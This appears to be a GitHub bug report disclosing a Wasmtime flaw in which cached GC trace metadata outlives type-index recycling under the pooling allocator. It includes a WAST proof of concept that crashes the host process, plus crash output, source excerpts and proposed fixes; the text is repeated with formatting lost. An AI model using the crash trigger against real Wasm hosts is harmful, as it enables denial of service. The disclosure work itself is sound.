This bug is reachable only when Wasmtime runs Wasm GC with the pooling allocator enabled. Wasmtime's security page says "Bugs must affect a tier 1 platform or feature to be considered a security vulnerability." Since gc is marked tier 2, we are directly reporting this bug on GitHub.
Overview
DrcHeap caches GC tracing metadata in trace_infos, keyed by VMSharedTypeIndex. When a pooled DRC heap is detached, it intentionally preserves that cache because the heap will only be reused with the same Engine (described in code comment). However, the same-engine assumption is not sufficient: when a module's TypeCollection is dropped, Wasmtime unregisters its rec groups and returns their shared type-index slab entries to the registry. A later module on the same Engine can then assign the same VMSharedTypeIndex to a different GC type. If that happens, DrcHeap::ensure_trace_info sees the stale cache entry and does not rebuild the tracing metadata for the new layout.
DRC relies on this metadata while tracing outgoing references before deallocating an object whose reference count reached zero. Reusing metadata from an older, larger struct for a newer, smaller struct breaks the invariant that cached GC-reference offsets describe the current type bound to the shared index. The current implementation detects the mismatch when VMGcObjectData::read_pod reads beyond the new object's data and panics with out of bounds field, aborting the host process. This demonstrates an execution-time denial of service with the default DRC collector; it does not demonstrate host memory unsafety or sandbox escape.
Security impact
This bug only affects targets with GC and the pooling allocator enabled that execute untrusted programs. A quick GitHub search didn't reveal any important targets that operate on this configuration.
Demonstration
Run:
wasmtime wast -W gc=y -O pooling-allocator=y poc.wast
;; This PoC is intended for the `wasmtime wast` CLI. The `thread` directive is
;; a WAST-harness directive that creates a second Store on the same Engine.
(module)
(thread $old
(module
;; Register stale trace metadata for a large struct whose final field is a
;; GC reference. The field offset is valid for this type, but not for the
;; smaller type instantiated after this thread's Store is dropped.
(type $old (struct
(field i64) (field i64) (field i64) (field i64)
(field i64) (field i64) (field i64) (field i64)
(field i64) (field i64) (field i64) (field i64)
(field i64) (field i64) (field i64) (field i64)
(field anyref)))
(global (ref null $old)
(struct.new $old
(i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0)
(i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0)
(i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0)
(i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0)
(ref.null any)))))
(wait $old)
(module
(type $new (struct (field (mut i32))))
(global $g (mut (ref null $new))
(struct.new $new (i32.const 1)))
(func (export "trigger")
;; Overwriting the global makes DRC decrement and deallocate the old value,
;; consuming the stale trace metadata without forcing an explicit GC.
(global.set $g (ref.null $new))))
(invoke "trigger")
The first WAST thread directive is a PoC mechanism, not a requirement for triggering the bug. It was used for creating a child Store on the same Engine, but there are other ways to build a similar construct. When the thread executes, DRC registers trace metadata for the type in the child store's pooled heap. When (wait $old) completes, the child store is dropped and the pooled DRC heap is returned with its trace_infos map intact.
The second module instantiates after the child store has been dropped. Its small scalar-only struct receives the recycled VMSharedTypeIndex, and the main store reuses the pooled DRC heap. The trigger overwrites a mutable global that holds the new object, so DRC decrements and deallocates the old global value. During deallocation, the stale large-type GC-reference field offset is read from the small object's data via VMGcObjectData::read_u32, which panics with out of bounds field.
Output
$ wasmtime wast -W gc=y -O pooling-allocator=y poc.wast
thread 'main' (2176) panicked at crates/wasmtime/src/runtime/vm/gc/enabled/data.rs:137:48:
out of bounds field
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
zsh: IOT instruction (core dumped) wasmtime wast -W gc=y -O pooling-allocator=y
Environment
$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 26.04 LTS
Release: 26.04
Codename: resolute
$ wasmtime --version
wasmtime 44.0.1 (f302ebd6b 2026-04-30)
Data flow trace
Bug path: stale trace metadata survives pooled-heap reuse
DrcHeap::ensure_trace_info / DrcHeap::insert_new_trace_info → DrcHeap::detach
-
DrcHeap::ensure_trace_info returns immediately on a VMSharedTypeIndex cache hit. On a miss, DrcHeap::insert_new_trace_info reads the current GC layout from the engine and stores struct GC-reference offsets under that index.
|
/// Ensure that we have tracing information for the given type. |
|
fn ensure_trace_info(&mut self, ty: VMSharedTypeIndex) { |
|
if self.trace_infos.contains_key(&ty) { |
|
return; |
|
} |
|
|
|
self.insert_new_trace_info(ty); |
|
} |
|
|
|
fn insert_new_trace_info(&mut self, ty: VMSharedTypeIndex) { |
|
debug_assert!(!self.trace_infos.contains_key(&ty)); |
|
|
|
let engine = self.engine(); |
|
let gc_layout = engine |
|
.signatures() |
|
.layout(ty) |
|
.unwrap_or_else(|| panic!("should have a GC layout for {ty:?}")); |
|
|
|
let info = match gc_layout { |
|
GcLayout::Array(l) => { |
|
if l.elems_are_gc_refs { |
|
debug_assert_eq!(l.elem_offset(0), GC_REF_ARRAY_ELEMS_OFFSET,); |
|
} |
|
TraceInfo::Array { |
|
gc_ref_elems: l.elems_are_gc_refs, |
|
} |
|
} |
|
GcLayout::Struct(l) => TraceInfo::Struct { |
|
gc_ref_offsets: l |
|
.fields |
|
.iter() |
|
.filter_map(|f| if f.is_gc_ref { Some(f.offset) } else { None }) |
|
.collect(), |
|
}, |
|
}; |
|
|
|
let old_entry = self.trace_infos.insert(ty, info); |
|
debug_assert!(old_entry.is_none()); |
|
} |
-
DrcHeap::detach preserves trace_infos when a pooled heap is detached for reuse. The comment assumes same-engine reuse means the tracing information remains valid.
|
fn detach(&mut self) -> crate::vm::Memory { |
|
assert!(self.is_attached()); |
|
|
|
let DrcHeap { |
|
engine: _, |
|
no_gc_count, |
|
over_approximated_stack_roots, |
|
free_list, |
|
dec_ref_stack, |
|
memory, |
|
vmmemory, |
|
|
|
// NB: we will only ever be reused with the same engine, so no need |
|
// to clear out our tracing info just to fill it back in with the |
|
// same exact stuff. |
|
trace_infos: _, |
|
} = self; |
|
|
|
*no_gc_count = 0; |
|
**over_approximated_stack_roots = None; |
|
*free_list = None; |
|
*vmmemory = None; |
|
debug_assert!(dec_ref_stack.as_ref().is_some_and(|s| s.is_empty())); |
|
|
|
memory.take().unwrap() |
|
} |
Bug path: the type registry can recycle the cache key
TypeCollection::drop → TypeRegistryInner::unregister_type_collection → TypeRegistryInner::remove_entry_impl → TypeRegistryInner::remove_entry_types / Slab::dealloc → TypeRegistryInner::assign_shared_type_indices / Slab::alloc
-
Dropping a TypeCollection unregisters its rec groups. When a rec group's registration count reaches zero, the registry removes the entry and deallocates each shared type-index slab entry.
|
impl Drop for TypeCollection { |
|
fn drop(&mut self) { |
|
if !self.rec_groups.is_empty() { |
|
self.engine |
|
.signatures() |
|
.0 |
|
.write() |
|
.unregister_type_collection(self); |
|
} |
|
} |
|
} |
|
fn unregister_type_collection(&mut self, collection: &TypeCollection) { |
|
log::trace!("Begin unregistering `TypeCollection`"); |
|
for entry in &collection.rec_groups { |
|
self.debug_assert_all_registered(entry); |
|
if entry.decref("TypeRegistryInner::unregister_type_collection") { |
|
self.unregister_entry(entry.clone()); |
|
} |
|
} |
|
log::trace!("Finished unregistering `TypeCollection`"); |
|
} |
|
/// Remove the rec group entry's types into the `self.types` arena. |
|
fn remove_entry_types(&mut self, entry: &RecGroupEntry) { |
|
for &ty in &entry.0.shared_type_indices { |
|
let id = shared_type_index_to_slab_id(ty); |
|
debug_assert!(self.types.contains(id)); |
|
self.types.dealloc(id); |
|
} |
|
} |
-
Later type registration obtains VMSharedTypeIndex values from the same slab. Slab::try_alloc_index prefers the free list, so a newly registered, different GC type can receive the old index.
|
for (module_index, ty) in non_canon_types.iter() { |
|
let engine_index = |
|
slab_id_to_shared_type_index(self.types.alloc(None).expect("have capacity")); |
|
log::trace!("reserved {engine_index:?} for {module_index:?} = non-canonical {ty:?}"); |
|
shared_type_indices |
|
.push(engine_index) |
|
.expect("reserved capacity"); |
|
} |
|
pub fn try_alloc(&mut self, value: T) -> Result<Id, T> { |
|
if let Some(index) = self.try_alloc_index() { |
|
let next_free = match self.entries[index.index()] { |
|
Entry::Free { next_free } => next_free, |
|
Entry::Occupied { .. } => unreachable!(), |
|
}; |
|
self.free = next_free; |
|
self.entries[index.index()] = Entry::Occupied(value); |
|
self.len += 1; |
|
Ok(Id(index)) |
|
pub fn dealloc(&mut self, id: Id) -> T { |
|
let entry = core::mem::replace( |
|
self.entries |
|
.get_mut(id.0.index()) |
|
.expect("id from a different slab"), |
|
Entry::Free { next_free: None }, |
|
); |
|
match entry { |
|
Entry::Free { .. } => panic!("attempt to deallocate an entry that is already vacant"), |
|
Entry::Occupied(value) => { |
|
let next_free = core::mem::replace(&mut self.free, Some(id.0)); |
|
self.entries[id.0.index()] = Entry::Free { next_free }; |
|
self.len -= 1; |
|
value |
|
} |
|
} |
|
} |
Recommendation
Possible mitigations for this specific pattern include:
- Clear or invalidate DRC
trace_infos when a pooled heap is detached or reassigned.
- Key cached trace metadata by a non-recycled type identity, not only
VMSharedTypeIndex.
- Revalidate cached entries in
ensure_trace_info against the current TypeRegistry layout before reuse.
Any change should preserve intended same-engine heap reuse while preventing stale metadata from surviving type-index recycling.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.
This bug is reachable only when Wasmtime runs Wasm GC with the pooling allocator enabled. Wasmtime's security page says "Bugs must affect a tier 1 platform or feature to be considered a security vulnerability." Since
gcis marked tier 2, we are directly reporting this bug on GitHub.Overview
DrcHeapcaches GC tracing metadata intrace_infos, keyed byVMSharedTypeIndex. When a pooled DRC heap is detached, it intentionally preserves that cache because the heap will only be reused with the sameEngine(described in code comment). However, the same-engine assumption is not sufficient: when a module'sTypeCollectionis dropped, Wasmtime unregisters its rec groups and returns their shared type-index slab entries to the registry. A later module on the sameEnginecan then assign the sameVMSharedTypeIndexto a different GC type. If that happens,DrcHeap::ensure_trace_infosees the stale cache entry and does not rebuild the tracing metadata for the new layout.DRC relies on this metadata while tracing outgoing references before deallocating an object whose reference count reached zero. Reusing metadata from an older, larger struct for a newer, smaller struct breaks the invariant that cached GC-reference offsets describe the current type bound to the shared index. The current implementation detects the mismatch when
VMGcObjectData::read_podreads beyond the new object's data and panics without of bounds field, aborting the host process. This demonstrates an execution-time denial of service with the default DRC collector; it does not demonstrate host memory unsafety or sandbox escape.Security impact
This bug only affects targets with GC and the pooling allocator enabled that execute untrusted programs. A quick GitHub search didn't reveal any important targets that operate on this configuration.
Demonstration
Run:
The first WAST
threaddirective is a PoC mechanism, not a requirement for triggering the bug. It was used for creating a childStoreon the sameEngine, but there are other ways to build a similar construct. When the thread executes, DRC registers trace metadata for the type in the child store's pooled heap. When(wait $old)completes, the child store is dropped and the pooled DRC heap is returned with itstrace_infosmap intact.The second module instantiates after the child store has been dropped. Its small scalar-only struct receives the recycled
VMSharedTypeIndex, and the main store reuses the pooled DRC heap. The trigger overwrites a mutable global that holds the new object, so DRC decrements and deallocates the old global value. During deallocation, the stale large-type GC-reference field offset is read from the small object's data viaVMGcObjectData::read_u32, which panics without of bounds field.Output
Environment
Data flow trace
Bug path: stale trace metadata survives pooled-heap reuse
DrcHeap::ensure_trace_info/DrcHeap::insert_new_trace_info→DrcHeap::detachDrcHeap::ensure_trace_inforeturns immediately on aVMSharedTypeIndexcache hit. On a miss,DrcHeap::insert_new_trace_inforeads the current GC layout from the engine and stores struct GC-reference offsets under that index.wasmtime/crates/wasmtime/src/runtime/vm/gc/enabled/drc.rs
Lines 271 to 309 in f302ebd
DrcHeap::detachpreservestrace_infoswhen a pooled heap is detached for reuse. The comment assumes same-engine reuse means the tracing information remains valid.wasmtime/crates/wasmtime/src/runtime/vm/gc/enabled/drc.rs
Lines 786 to 811 in f302ebd
Bug path: the type registry can recycle the cache key
TypeCollection::drop→TypeRegistryInner::unregister_type_collection→TypeRegistryInner::remove_entry_impl→TypeRegistryInner::remove_entry_types/Slab::dealloc→TypeRegistryInner::assign_shared_type_indices/Slab::allocDropping a
TypeCollectionunregisters its rec groups. When a rec group's registration count reaches zero, the registry removes the entry and deallocates each shared type-index slab entry.wasmtime/crates/wasmtime/src/runtime/type_registry.rs
Lines 215 to 225 in f302ebd
wasmtime/crates/wasmtime/src/runtime/type_registry.rs
Lines 1361 to 1370 in f302ebd
wasmtime/crates/wasmtime/src/runtime/type_registry.rs
Lines 933 to 940 in f302ebd
Later type registration obtains
VMSharedTypeIndexvalues from the same slab.Slab::try_alloc_indexprefers the free list, so a newly registered, different GC type can receive the old index.wasmtime/crates/wasmtime/src/runtime/type_registry.rs
Lines 1169 to 1176 in f302ebd
wasmtime/crates/core/src/slab.rs
Lines 328 to 337 in f302ebd
wasmtime/crates/core/src/slab.rs
Lines 439 to 455 in f302ebd
Recommendation
Possible mitigations for this specific pattern include:
trace_infoswhen a pooled heap is detached or reassigned.VMSharedTypeIndex.ensure_trace_infoagainst the currentTypeRegistrylayout before reuse.Any change should preserve intended same-engine heap reuse while preventing stale metadata from surviving type-index recycling.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.